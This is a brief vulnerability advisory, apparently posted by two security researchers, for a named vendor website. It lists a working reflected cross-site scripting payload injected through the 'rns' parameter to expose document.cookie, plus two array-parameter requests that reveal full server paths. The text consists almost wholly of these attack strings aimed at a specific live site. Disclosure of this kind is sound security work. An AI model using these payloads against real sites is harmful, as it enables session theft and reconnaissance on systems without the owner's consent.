vendor site: http://www.rhadrix.com/
risk : low 

xss =
/index.php?rns=</title><script>alert(document.cookie)</script>

full path ( array )
/index.php?rns[]=
/index.php?pag[]=

benjamin mossé & laurent gaffié
http://s-a-p.ca/